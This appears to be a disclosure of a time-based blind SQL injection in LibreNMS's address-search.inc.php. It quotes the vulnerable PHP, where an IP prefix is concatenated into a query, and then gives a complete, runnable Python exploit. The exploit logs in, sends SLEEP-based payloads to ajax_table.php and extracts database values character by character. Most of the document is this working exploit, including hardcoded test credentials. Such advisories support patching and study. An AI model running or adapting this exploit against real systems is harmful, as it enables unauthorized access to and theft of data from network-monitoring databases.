LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php

// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);

if (str_contains($address, '/')) {
    [$address, $prefix] = explode('/', $address, 2);
}

if ($search_type == 'ipv4') {
    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';

    if (! empty($address)) {
        $sql .= ' AND ipv4_address LIKE ?';
        $param[] = "%$address%";
    }

    if (! empty($prefix)) {
        $sql .= " AND ipv4_prefixlen='$prefix'";
    }

......

    if (! empty($prefix)) {
        $sql .= " AND ipv6_prefixlen = '$prefix'";
    }

#!/usr/bin/python3

import requests
import sys
import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
    try:
        a = range(32,126)
        start = 0
        end = len(a)
        while start <= end:
            mid = (start + end) // 2
            target_equal = inj_str.replace("[CHAR]", str(a[mid]))
            target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")

            # Return ascii decimal value for storing to a local string buffer
            if condition(target_equal):
                return a[mid]
            # Use lower half of the "a" array
            elif condition(target_less):
                end = mid - 1
            # Use upper half of the "a" array
            else:
                start = mid + 1
        return None
    except IndexError:
        return None


# Check injection result
def condition(payload):
    exploit_data = {
    "current": "1",
    "rowCount": "50",
    "sort[hostname]": "asc",
    "searchPhrase": "",
    "id": "address-search",
    "search_type": "ipv4",
    "device_id": "1",
    "interface": "",
    "address": f"127.0.0.1/aa{payload}"
    }
    # Payload must be slotted in somewhere in this code
    payload_url = f"{url}/ajax_table.php"

    r = s.post(payload_url, data=exploit_data)

    elapsed_time_seconds = r.elapsed.total_seconds()

    # If response time is within sleep function delay range of +1 or -1 second the query returned "true"
    if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2):
        return True
    else:
        return False


def get_length(inj):
    length = 0
    print(f"(+) Getting the length of \"{inj}\"")
    while True:
        # MySQL
        #length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -"
        length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1"

        bool_value = condition(length_injection_string)

        if bool_value == False:
            length += 1
        else:
            return length


def injection(inject_qry):
    extracted = ""
    length = get_length(inject_qry)
    print(f"Length of \"{inject_qry}\": {length}")
    print(f"(+) Retrieving the value for \"{inject_qry}\"")

    # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted
    for i in range(1, length + 2):
        # MySQL
        injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1"

        retrieved_value = blind_binsearch_sqli(injection_string)

        if retrieved_value:
            extracted += chr(retrieved_value)
            extracted_char = chr(retrieved_value)
            print(extracted_char, flush=True, end="")
        elif retrieved_value == None:
            print("\n(+) done!\n")
            return extracted

global url
global s
global sleep_delay
global username
global password

# Default sleep delay, due to injection query used the response time will be sleep_delay * 2
sleep_delay = 1.5

s = requests.Session()

# HTTPS
s.verify = False

# Toggle debug proxy
#s.proxies.update(proxies)

url = "http://192.168.236.131"

username = "tester2"
password = "Adminbazinga"

if len(sys.argv) > 1:
    url = sys.argv[1]
if len(sys.argv) > 2:
    username = sys.argv[2]
if len(sys.argv) > 3:
    password = sys.argv[3]
if len(sys.argv) > 4:
    sleep_delay = float(sys.argv[4])

r = s.get(url + "/login")

login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1)

login_data = {
"_token": login_token,
"username": username,
"password": password,
"submit": ""
}

r = s.post(url + "/login", data=login_data)

# Example: python3 script.py http://127.0.0.1 username password 1.5
if __name__ == "__main__":
    injection("SELECT CURRENT_USER()")